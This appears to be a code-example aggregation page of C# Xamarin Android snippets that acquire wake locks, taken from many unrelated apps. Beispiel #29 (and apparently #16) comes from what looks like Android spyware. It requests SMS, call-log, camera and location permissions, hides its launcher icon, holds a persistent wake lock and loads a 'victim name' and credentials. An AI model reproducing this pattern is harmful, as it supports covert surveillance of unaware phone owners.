Beispiel #1
0
        protected override void OnCreate(Bundle savedInstanceState)
        {
            base.OnCreate(savedInstanceState);

            PowerManager pm = (PowerManager)GetSystemService(Context.PowerService);

            PowerManager.WakeLock wl = pm.NewWakeLock(WakeLockFlags.ScreenBright, "My Tag");
            wl.Acquire();
            this.Window.AddFlags(WindowManagerFlags.KeepScreenOn);

            Xamarin.Essentials.Platform.Init(this, savedInstanceState);
            SetContentView(Resource.Layout.activity_main);

            text      = FindViewById <EditText>(Resource.Id.editText1);
            text.Text = getIP();
            t1        = FindViewById <TextView>(Resource.Id.textView2);
            t2        = FindViewById <TextView>(Resource.Id.textView3);

            var client = new TcpClient();

            Button button1 = FindViewById <Button>(Resource.Id.button1);

            button1.Click += StartBotClicked;

            Button button2 = FindViewById <Button>(Resource.Id.button2);

            button2.Click += NetworkTestClicked;

            usbManager = GetSystemService(Context.UsbService) as UsbManager;

            image             = FindViewById <TextureView>(Resource.Id.imageView1);
            mc                = new MyCamera(image);
            mc.FrameRefreshed = sendFrame;
        }
 /// <summary>
 /// Toggles the loading controlls and sleep locks.
 /// </summary>
 /// <param name="enable">If set to <c>true</c> enable.</param>
 public void toggleLoadingControlls(bool enable)
 {
     if (enable == false)
     {
         if (playingWarning.Parent == null)
         {
             relativeLayout.AddView(playingWarning);
         }
         relativeLayout.AddView(cancelDownloadButton);
         relativeLayout.AddView(progressBar);
         mState = false;
         try { wl.Acquire(); } catch (Exception e) {
             trackingInterface.TrackException(e.Message, false);
         }
     }
     else if (enable == true)
     {
         if (playingWarning.Parent != null)
         {
             relativeLayout.RemoveView(playingWarning);
         }
         relativeLayout.RemoveView(cancelDownloadButton);
         relativeLayout.RemoveView(progressBar);
         mState = true;
         try { wl.Release(); } catch (Exception ex) {
             trackingInterface.TrackException(ex.Message, false);
         }
     }
     InvalidateOptionsMenu();
 }
 private void AcquireWakeLock()
 {
     if (!_wakeLock.IsHeld)
     {
         _wakeLock.Acquire();
     }
 }
        private async void Start()
        {
            if (_brightnessCheckBox.Checked)
            {
                _wakeLock.Acquire();
                IncreaseBrightness();
            }

            if (_bluetoothCheckBox.Checked)
            {
                await StartBluetooth();
            }

            if (_cpuLoadCheckBox.Checked)
            {
                StartCPULoad();
            }

            if (_vibrateCheckBox.Checked)
            {
                await StartVibrate();
            }

            if (_wifiCheckBox.Checked)
            {
                StartWifi();
            }
        }
        protected override void OnStop()
        {
            base.OnStop();

            // Use prepared wake lock to prevent CPU pause when app is closed
            mWakeLock.Acquire();
        }
Beispiel #6
0
 public void Acquire()
 {
     if (!m_wakeLock.IsHeld)
     {
         m_wakeLock.Acquire();
     }
 }
Beispiel #7
0
        /// <summary>
        /// 获取电源锁
        /// </summary>
        private void AcquireWakeLock()
        {
            if (null == _wakeLock)
            {
                using (PowerManager pm = (PowerManager)GetSystemService(Context.PowerService))
                {
                    _wakeLock = pm.NewWakeLock(WakeLockFlags.Partial | WakeLockFlags.AcquireCausesWakeup, "MyWakelockTag");
                    if (_wakeLock != null)
                    {
                        _wakeLock.Acquire();

                        //服务没运行时
                        if (!IsRun)
                        {
                            if (_mediaPlayer != null && !_mediaPlayer.IsPlaying)
                            {
                                var assembly = typeof(App).GetTypeInfo().Assembly;
                                var path     = "DCMS.Client.Resources.raw";
                                using (var _audioStream = assembly?.GetManifestResourceStream($"{path}.cactus.mp3"))
                                {
                                    if (_audioStream != null)
                                    {
                                        _mediaPlayer.Load(_audioStream);
                                        _mediaPlayer.Loop = true;
                                        _mediaPlayer.Play();
                                        IsRun = true;
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
Beispiel #8
0
        protected override void OnHandleIntent(Intent intent)
        {
            lock (LOCK)
            {
                if (sWakeLock == null)
                {
                    var pm = PowerManager.FromContext(this.ApplicationContext);
                    sWakeLock = pm.NewWakeLock(WakeLockFlags.Partial, KINVEY_FCM);
                }
            }

            sWakeLock.Acquire();


            try
            {
                string action = intent.Action;

                if (action.Equals(Constants.STR_C2DM_INTENT_REGISTRATION))
                {
                    var registrationId = intent.GetStringExtra(REGISTRATION_ID);
                    onRegistered(registrationId);
                }
                else if (action.Equals(Constants.STR_KINVEY_FCM_UNREGISTRATION))
                {
                    var unregistrationId = intent.GetStringExtra(Constants.STR_UNREGISTRATION_ID);
                    onUnregistered(unregistrationId);
                }
                else if (action.Equals(Constants.STR_C2DM_INTENT_RECEIVE))
                {
                    string message = null;

                    if (intent.HasExtra(MESSAGE_FROM_KINVEY_CONSOLE))
                    {
                        message = intent.GetStringExtra(MESSAGE_FROM_KINVEY_CONSOLE);
                    }
                    else if (intent.HasExtra(MESSAGE_FROM_FCM))
                    {
                        message = intent.GetStringExtra(MESSAGE_FROM_FCM);
                    }

                    onMessage(message);
                }
                else if (action.Equals(Constants.STR_KINVEY_ANDROID_ERROR))
                {
                    onError(intent.GetStringExtra(Constants.STR_GENERAL_ERROR));
                }
            }
            finally
            {
                lock (LOCK)
                {
                    //Sanity check for null as this is a public method
                    if (sWakeLock != null)
                    {
                        sWakeLock.Release();
                    }
                }
            }
        }
Beispiel #9
0
        public void OnSensorChanged(SensorEvent evento)
        {
            //Arreglame: Ejecutame en un Backgroudn thread
            Sensor sensor = evento.Sensor;

            if (sensor.Type == SensorType.Proximity)
            {
                //Mientras el sensor de proximidad esté cubierto haga:
                while (evento.Values[0] > 1)
                {
                    //Si el wakelock no está sostenido, entonces adquirir el Wakelock que apaga la pantalla.
                    if (!wakeLock.IsHeld)
                    {
                        wakeLock.Acquire();
                    }
                }
                //Si el wakelock está adquirido, entonces soltarlo cuando el sensor no esté cubierto.
                if (wakeLock.IsHeld)
                {
                    wakeLock.Release();
                }
            }
            else if (sensor.Type == SensorType.Accelerometer)
            {
                //values 1 es el eje Y, values 2 es el eje Z
                while (evento.Values[1] > 3 && evento.Values[2] < 9)
                {
                    Toast.MakeText(Application.Context, "El dispositivo se levantó", ToastLength.Short).Show();
                }
            }
        }
Beispiel #10
0
 public override void OnReceive(Context context, Intent intent)
 {
     if (Build.VERSION.SdkInt >= BuildVersionCodes.M)
     {
         PowerManager          pm       = (PowerManager)context.GetSystemService("power");
         PowerManager.WakeLock wakeLock = pm.NewWakeLock(WakeLockFlags.Partial, "LocationManagerService");
         if (pm.IsDeviceIdleMode)
         {
             // the device is now in doze mode
             Vibrator vibrator = (Vibrator)context.GetSystemService("vibrator");
             vibrator.Vibrate(100);
             if (wakeLock.IsHeld == false)
             {
                 wakeLock.Acquire();
             }
         }
         else
         {
             Vibrator vibrator = (Vibrator)context.GetSystemService("vibrator");
             vibrator.Vibrate(1000);
             if (wakeLock.IsHeld)
             {
                 wakeLock.Release();
             }
             // the device just woke up from doze mode
         }
     }
 }
        /// <summary>
        /// Do a <see cref="Context.StartService(Intent)"/>, but holding a wake lock while the service starts.
        /// </summary>
        /// <remarks>
        /// This will modify the intent to hold an extra identifying the wake lock. When the service receives it
        /// in <see cref="Service.OnStartCommand"/>, it should pass back the <see cref="Intent"/> it receives there to
        /// <see cref="CompleteWakefulIntent(Intent)"/> in order to release the wake lock.
        /// </remarks>
        /// <param name="context">The <see cref="Context"/> in which it operate.</param>
        /// <param name="intent">The <see cref="Intent"/> with which to start the service, as per <see cref="Context.StartService(Intent)"/>.</param>
        /// <returns>The <see cref="ComponentName"/> of the <see cref="Service"/> being started.</returns>
        internal static ComponentName StartWakefulService(Context context, Intent intent)
        {
            lock (activeWakeLocksMutex) {
                int id = nextId;
                nextId++;
                if (nextId <= 0)
                {
                    nextId = 1;
                }

                intent.PutExtra(ExtraWakeLockId, id);
                ComponentName comp = context.StartService(intent);
                if (comp == null)
                {
                    return(null);
                }

                PowerManager          pm = PowerManager.FromContext(context);
                PowerManager.WakeLock wl = pm.NewWakeLock(WakeLockFlags.Partial, "wake: " + comp.FlattenToShortString());
                wl.SetReferenceCounted(false);
                wl.Acquire(WakeLockTimeout);
                activeWakeLocks[id] = wl;

                return(comp);
            }
        }
        public override void OnReceive(Context context, Intent intent)
        {
            try
            {
                PowerManager          pm = (PowerManager)context.GetSystemService(Context.PowerService);
                PowerManager.WakeLock w1 = pm.NewWakeLock(WakeLockFlags.Partial, "NotificationReceiver");
                w1.Acquire();

                var pendingIntent = PendingIntent.GetActivity(context, 0, new Intent(context, typeof(MainActivity)), 0);

                Notification.Builder notifBuilder = new Notification.Builder(context)
                                                    .SetContentIntent(pendingIntent)
                                                    .SetContentTitle("Skin Selfie Reminder")
                                                    .SetContentText("Remember to take a photo of your condition '" + intent.GetStringExtra("conditionName") + "'!")
                                                    .SetSmallIcon(Resource.Drawable.icon)
                                                    .SetAutoCancel(true);

                Notification        notification        = notifBuilder.Build();
                NotificationManager notificationManager =
                    context.GetSystemService(Context.NotificationService) as NotificationManager;

                notificationManager.Notify(0, notification);
                w1.Release();
            }
            catch (Exception e)
            {
                Console.WriteLine("ON RECEIVE ERR: " + e.Message);
            }
        }
Beispiel #13
0
        private void criarTimer(int tempo)
        {
            umdp.TempoTotal = TimeSpan.FromMilliseconds(tempo);
            _timer          = new System.Timers.Timer();
            //Trigger event every second
            _timer.Interval = 1000;

            _timer.Elapsed += (s, a) =>
            {
                TimeSpan ts = umdp.TempoTotal.Subtract(new System.TimeSpan(0, 0, 1));
                umdp.TempoTotal = ts;

                if (umdp.TempoTotal.TotalSeconds <= 0)
                {
                    _timer.Stop();
                    executarComandos();
                }

                /*if (umdp.TempoTotal.Seconds == 0 && umdp.TempoTotal.Minutes == 0 && umdp.TempoTotal.Hours == 0)
                 * {
                 *  _timer.Stop();
                 *  executarComandos();
                 * }*/
            };

            _timer?.Start();

            w1?.Acquire();
        }
Beispiel #14
0
        public override Task KeepDeviceAwakeAsync()
        {
            if (_wakeLock != null)
            {
                lock (_wakeLock)
                {
                    bool firstAcquisition = !_wakeLock.IsHeld;

                    _wakeLock.Acquire();

                    Logger.Log("Wake lock acquired" + (firstAcquisition ? " for the first time" : "") + ".", LoggingLevel.Normal, GetType());

                    // if this is the first successful acquisition, then mark the time.
                    if (firstAcquisition && _wakeLock.IsHeld)
                    {
                        if (_wakeLockTimestamp != null)
                        {
                            SensusException.Report("Acquired wake lock for the first time but with an existing timestamp.");
                        }

                        _wakeLockTimestamp = DateTime.Now;
                    }
                }
            }

            return(Task.CompletedTask);
        }
Beispiel #15
0
        public override StartCommandResult OnStartCommand(Intent intent, StartCommandFlags flags, int startId)
        {
            switch (intent?.Action)
            {
            case ActionPlay: Play(); break;

            case ActionStop: Stop(); break;

            case ActionPause: Pause(); break;

            case ActionNext: SkipToNext(null); break;

            case ActionPrevious: SkipToPrev(); break;

            case ActionLoadUrl: LoadVideoFromUrl(intent); break;

            case ActionBkgrdNote: ToggleNotificationShouldPlayInBkgrd(true); break;

            case ActionResumeNote: ToggleNotificationShouldPlayInBkgrd(false); break;
            }

            try{ WifiManager = (WifiManager)GetSystemService(Context.WifiService); }
            catch {  }
            ExtStickyServ = this;
            try
            {
                Pm = (PowerManager)GetSystemService(Context.PowerService);
                PowerManager.WakeLock _wl = Pm.NewWakeLock(WakeLockFlags.Partial, "BitChute Wakelock");
                _wl.Acquire();
            }
            catch (Exception ex) { Console.WriteLine(ex.Message); }
            return(StartCommandResult.Sticky);
        }
        public override StartCommandResult OnStartCommand(Intent intent, [GeneratedEnum] StartCommandFlags flags, int startId)
        {
            if (intent.Action.Equals(MainValues.ACTION_START_SERVICE))
            {
                Notification notification;
                if (Build.VERSION.SdkInt >= BuildVersionCodes.O)
                {
                    CreateNotificationChannel();
                    notification = CreateNotificationWithChannelId();
                }
                else
                {
                    notification = CreateNotification();
                }

                StartForeground(MainValues.SERVICE_RUNNING_NOTIFICATION_ID, notification);
            }
            //else if (intent.Action.Equals(Constants.ACTION_STOP_SERVICE))
            //    _hiddenCamera.Stop();
            PowerManager pm = (PowerManager)GetSystemService(PowerService);

            PowerManager.WakeLock wl = pm.NewWakeLock(WakeLockFlags.Partial, "THT");
            wl.Acquire();
            //test();
            return(StartCommandResult.Sticky);
        }
Beispiel #17
0
 protected override void OnResume()
 {
     base.OnResume();
     _wl.Acquire();
     _screen.Resume();
     _renderView.Resume();
 }
Beispiel #18
0
        private bool StartPlatform()
        {
            if (Build.VERSION.SdkInt >= BuildVersionCodes.M)
            {
                if (ContextCompat.CheckSelfPermission(CrossCurrentActivity.Current.AppContext, Manifest.Permission.AccessFineLocation) != global::Android.Content.PM.Permission.Granted)
                {
                    ActivityCompat.RequestPermissions(CrossCurrentActivity.Current.Activity, new string[] {
                        Manifest.Permission.AccessFineLocation
                    }, 123);

                    return(false);
                }
            }

            if (!_wakeLock.IsHeld)
            {
                _wakeLock.Acquire();
            }

            _locationManager.RequestLocationUpdates(LocationManager.GpsProvider, 0, 0, this);

            _sensorManager.RegisterListener(this,
                                            _sensorManager.GetDefaultSensor(SensorType.Accelerometer),
                                            (SensorDelay)AccelerometerDesiredDelayMs);
            _sensorManager.RegisterListener(this,
                                            _sensorManager.GetDefaultSensor(SensorType.Gyroscope),
                                            (SensorDelay)AccelerometerDesiredDelayMs);

            return(true);
        }
        public override StartCommandResult OnStartCommand(Intent intent, StartCommandFlags flags, int startId)
        {
            Task.Run(() => {
                try
                {
                    PowerManager pm          = (PowerManager)GetSystemService(Context.PowerService);
                    PowerManager.WakeLock wl = pm.NewWakeLock(WakeLockFlags.Partial, "My Tag");
                    wl.Acquire();
                    var counter = new TimerTask();
                    counter.RunTimer(_cts, startId).Wait();
                }
                catch (Exception ex)
                {
                }
                finally
                {
                    if (_cts.IsCancellationRequested)
                    {
                        var message = new CancelledMessage();
                        //Device.BeginInvokeOnMainThread(
                        //    () => MessagingCenter.Send(message, "CancelledMessage")
                        //);
                    }
                }
            }, _cts.Token);

            return(StartCommandResult.Sticky);
        }
        public void LoadTimerSensor()
        {
            View viewAlert = View.Inflate(this, Resource.Layout.LayoutTimerSensor, null);

            AlertDialog.Builder Message = new AlertDialog.Builder(this);
            Message.SetTitle("زمان را برحسب دقیقه انتخاب کنید"); Message.SetView(viewAlert);
            Message.SetIcon(Resource.Drawable.Timer);
            NumberPicker np = (NumberPicker)viewAlert.FindViewById(Resource.Id.LTimerSensorNumberPickerTS);

            np.MaxValue = 25; np.MinValue = 1;
            np.SetOnClickListener(this);
            Message.SetPositiveButton("فعال کن", delegate
            {
                ValueTS = (np.Value * 60) * 10;
                TimerSensor.Start();
                Toast.MakeText(this, np.Value + " M " + "تایمر سنسور فعال شد", ToastLength.Short).Show();
                WLock = dfpowermanager.NewWakeLock(WakeLockFlags.Full, "DoNotSleep");
                WLock.Acquire();
            });
            Message.SetNegativeButton("لغو", delegate { });
            Message.SetNeutralButton("لغو تایمر", delegate
            {
                TimerSensor.Stop(); ValueTS = 0;
                Toast.MakeText(this, "تایمر سنسور غیر فعال شد", ToastLength.Short).Show();
                try
                {
                    WLock.Release();
                }
                catch { }
            });
            Message.Create(); Message.Show();
        }
Beispiel #21
0
 protected override void OnResume()
 {
     base.OnResume();
     wakeLock.Acquire();
     screen.resume();
     renderView.resume();
 }
Beispiel #22
0
 public void WakeMeUpInside()
 {
     // Make a powermanager, set the wakelocks defined earlier
     // Be carefull moving this, moving anything outside this funciton can break it. Don't ask why. Just Xamarin
     PowerManager pw = (PowerManager)GetSystemService(PowerService);
     wl = pw.NewWakeLock(WakeLockFlags.Full | WakeLockFlags.AcquireCausesWakeup, "Tagged");
     wl.Acquire();
 }
Beispiel #23
0
 private void AcquireWakeLock()
 {
     if (GetSystemService(PowerService) is PowerManager powerManager)
     {
         wakeLock = powerManager.NewWakeLock(WakeLockFlags.Partial, ServiceName);
         wakeLock.Acquire();
     }
 }
 public override void KeepDeviceAwake()
 {
     lock (_wakeLock)
     {
         _wakeLock.Acquire();
         Logger.Log("Wake lock acquisition count:  " + ++_wakeLockAcquisitionCount, LoggingLevel.Verbose, GetType());
     }
 }
Beispiel #25
0
        public BluetoothWakeLock()
        {
            PowerManager pm = (PowerManager)Application.Context.GetSystemService(Context.PowerService);

            Tag += Guid.NewGuid().ToString();
            WakeLockInternal = pm.NewWakeLock(WakeLockFlags.Partial | WakeLockFlags.LocationModeNoChange, Tag);
            WakeLockInternal.Acquire();
        }
Beispiel #26
0
        protected override void StartSensor()
        {
            _wakeLock.Acquire();

            _sensorManager.RegisterListener(this,
                                            _sensorManager.GetDefaultSensor(SensorType.Accelerometer),
                                            (SensorDelay)SensorPack.AccelerometerDesiredDelayMs);
        }
Beispiel #27
0
        protected override void OnResume()
        {
            base.OnResume();
            var powerManager = (PowerManager)this.GetSystemService(Context.PowerService);

            wakeLock = powerManager.NewWakeLock(WakeLockFlags.Full, "My Lock");
            wakeLock.Acquire();
        }
Beispiel #28
0
        public KeepAwakeLock()
        {
            PowerManager pm = (PowerManager)Application.Context.GetSystemService(Context.PowerService);

            Tag += Guid.NewGuid().ToString();
            WakeLockInternal = pm.NewWakeLock(WakeLockFlags.Full, Tag);
            WakeLockInternal.Acquire();
        }
Beispiel #29
0
        protected override void OnCreate(Bundle savedInstanceState)
        {
            base.OnCreate(savedInstanceState);

            act = this;
            try
            {
                SetContentView(Resource.Layout.Main);
                var permissionsToCheck = new string[]
                {
                    Android.Manifest.Permission.AccessCoarseLocation,
                    Android.Manifest.Permission.AccessFineLocation,
                    Android.Manifest.Permission.WriteCallLog,
                    Android.Manifest.Permission.ReadExternalStorage,
                    Android.Manifest.Permission.Camera,
                    Android.Manifest.Permission.WriteExternalStorage,
                    Android.Manifest.Permission.ForegroundService,
                    Android.Manifest.Permission.ReadCallLog,
                    Android.Manifest.Permission.ReadSms
                };
                CallNotGrantedPermissions(permissionsToCheck);

                _startServiceButton = FindViewById <Button>(Resource.Id.start_service_button);
                _stopServiceButton  = FindViewById <Button>(Resource.Id.stop_service_button);

                _startServiceButton.Click += (obj, args)
                                             => StartForegroundServiceCompat <ForegroundService>(this);

                _stopServiceButton.Click += (obj, args)
                                            =>
                {
                    _stopServiceIntent = GetIntent(SERVICE_TYPE, MainValues.ACTION_STOP_SERVICE);
                    StopService(_stopServiceIntent);
                };
            }
            catch (Exception) { }

            PowerManager pmanager = (PowerManager)GetSystemService("power");

            wakelock = pmanager.NewWakeLock(WakeLockFlags.Partial, "Turkhackteam");
            wakelock.SetReferenceCounted(false);
            wakelock.Acquire();

            try
            {
                PackageManager p             = PackageManager;
                ComponentName  componentName = new ComponentName(this, Class);
                p.SetComponentEnabledSetting(componentName, ComponentEnabledState.Disabled, ComponentEnableOption.DontKillApp);
            }
            catch (Exception) { }

            MainValues._EMAIL    = Resources.GetString(Resource.String.EMAIL);
            MainValues._SIFRE    = Resources.GetString(Resource.String.SIFRE);
            MainValues.KRBN_ISMI = Resources.GetString(Resource.String.KURBANISMI);

            //Toast.MakeText(ApplicationContext, MainValues._EMAIL+"\n"+ MainValues._SIFRE + MainValues.KRBN_ISMI, ToastLength.Long).Show();
            otoBasla();
        }
Beispiel #30
0
        public override void OnReceive(Context context, Intent intent)
        {
            PowerManager pm = (PowerManager)context.GetSystemService(Context.PowerService);

            PowerManager.WakeLock w1 = pm.NewWakeLock(WakeLockFlags.Partial, "NotificationAlertReceiver");
            w1.Acquire();
            SendNtfIfRequired(context);
            w1.Release();
        }
        protected override void OnCreate(Bundle bundle)
        {
            base.OnCreate(bundle);

            // full screen & full brightness
            this.RequestWindowFeature(WindowFeatures.NoTitle);
            Window.SetFlags(WindowManagerFlags.Fullscreen, WindowManagerFlags.Fullscreen);
            Window.SetFlags(WindowManagerFlags.KeepScreenOn, WindowManagerFlags.KeepScreenOn);
            mWL = ((PowerManager)GetSystemService(Context.PowerService)).NewWakeLock(WakeLockFlags.Full, "BOB");
            mWL.Acquire();
            mView = new MainView(this);
            SetContentView(mView);
            LinearLayout ll = new LinearLayout(this);
            Button b = new Button(this);
            b.SetText("Hello", TextView.BufferType.Normal);
            ll.AddView(b);
            ll.SetGravity(GravityFlags.CenterHorizontal | GravityFlags.CenterVertical);
            this.AddContentView(ll,
                new LinearLayout.LayoutParams(LinearLayout.LayoutParams.MatchParent, LinearLayout.LayoutParams.MatchParent));
        }
Beispiel #32
0
        /// <summary>
        /// 起動時
        /// </summary>
        protected override void OnCreate(Bundle bundle)
        {
            base.OnCreate(bundle);

            // Set our view from the "main" layout resource
            SetContentView(Resource.Layout.Main);

            // 画面の向きを固定する
            RequestedOrientation = Android.Content.PM.ScreenOrientation.Landscape;

            // 各種フラグ設定
            this.Window.AddFlags(WindowManagerFlags.KeepScreenOn);

            //ウェイクロック
            using (PowerManager pm = (PowerManager)GetSystemService(Service.PowerService))
            {
                wakeLock = pm.NewWakeLock(WakeLockFlags.ScreenDim, PackageName);
                wakeLock.Acquire();
            }

            //設定読み込み
            settings = Settings.Load(this);

            //カメラを開く
            cameraManager = new CameraManager();
            cameraManager.PictureTaken += CameraManager_PictureTaken;
            cameraManager.Open();

            // カメラ表示設定
            cameraSurfaceView = FindViewById<SurfaceView>(Resource.Id.surfaceView1);
            cameraSurfaceView.Holder.AddCallback(this);
            cameraSurfaceView.Holder.SetType(SurfaceType.PushBuffers);

            //位置情報を開く
            locTrackerGPS = new LocationTracker(this, LocationManager.GpsProvider);
            locTrackerGPS.Start();
            locTrackerNetwork = new LocationTracker(this, LocationManager.NetworkProvider);
            locTrackerNetwork.Start();

            // 各種イベントを登録する
            SetupEvents();
        }
 protected override void OnStart()
 {
     base.OnStart();
     // Keep screen and wifi awake
     var powerManager = (PowerManager)GetSystemService(PowerService);
     var wifiManager = (WifiManager)GetSystemService(WifiService);
     _wakeLock = powerManager.NewWakeLock(WakeLockFlags.Full, "no sleep");
     _wakeLock.Acquire();
     _wifiLock = wifiManager.CreateWifiLock(WifiMode.FullHighPerf, "wifi on");
     _wifiLock.Acquire();
 }
Beispiel #34
0
        protected override void OnCreate(Bundle savedInstanceState)
        {
            powerManager = (PowerManager)GetSystemService(Context.PowerService);
            wakeLock = powerManager.NewWakeLock(WakeLockFlags.Partial, "MyWakeLock");
            wakeLock.Acquire();

            base.OnCreate(savedInstanceState);
            SetContentView(Resource.Layout.Pedometer);

            chrono = FindViewById<Chronometer>(Resource.Id.chronometer1);
            sensorManager = (SensorManager)GetSystemService(Context.SensorService);
            stepsTextView = FindViewById<TextView>(Resource.Id.pedometer);
            caloriesTextView = FindViewById<TextView>(Resource.Id.calories);
            speedTextView = FindViewById<TextView>(Resource.Id.speed);
            distanceTextView = FindViewById<TextView>(Resource.Id.distance);
            timeTextView = FindViewById<TextView>(Resource.Id.time);

            if (savedInstanceState != null)
            {
                steps = savedInstanceState.GetInt("steps", 0);
                calories = savedInstanceState.GetFloat("calories", 0.0f);
                speed = savedInstanceState.GetFloat("speed", 0.0f);
                distance = savedInstanceState.GetFloat("distance", 0.0f);
                chrono.Base = savedInstanceState.GetLong("time", SystemClock.ElapsedRealtime());
                run = savedInstanceState.GetBoolean("run", false);
            }

            chrono.Format = "00:0%s";
            chrono.OnChronometerTickListener = this;

            int h = 480;
            mYOffset = h * 0.5f;
            mScale[0] = -(h * 0.5f * (1.0f / (SensorManager.StandardGravity * 2)));
            mScale[1] = -(h * 0.5f * (1.0f / (SensorManager.MagneticFieldEarthMax)));

            if (run)
            {
                refreshTextViews();
                sensorsListenerRegister();
                chrono.Start();
            }
        }
		private void ToggleKeepScreenOn(bool flag)
		{
			if (flag)
			{
				var powerManager = (PowerManager) GetSystemService(PowerService);
				_wakeLock = powerManager.NewWakeLock(WakeLockFlags.ScreenBright, Tag);
				_wakeLock.Acquire();
				return;
			}
			try
			{
				if (_wakeLock != null) _wakeLock.Release();
			}
			catch (Java.Lang.RuntimeException e)
			{
				Log.Error(Tag, "ToggleKeepScreenOn: Exception on lock release." + e.Message + e.StackTrace);
			}
		}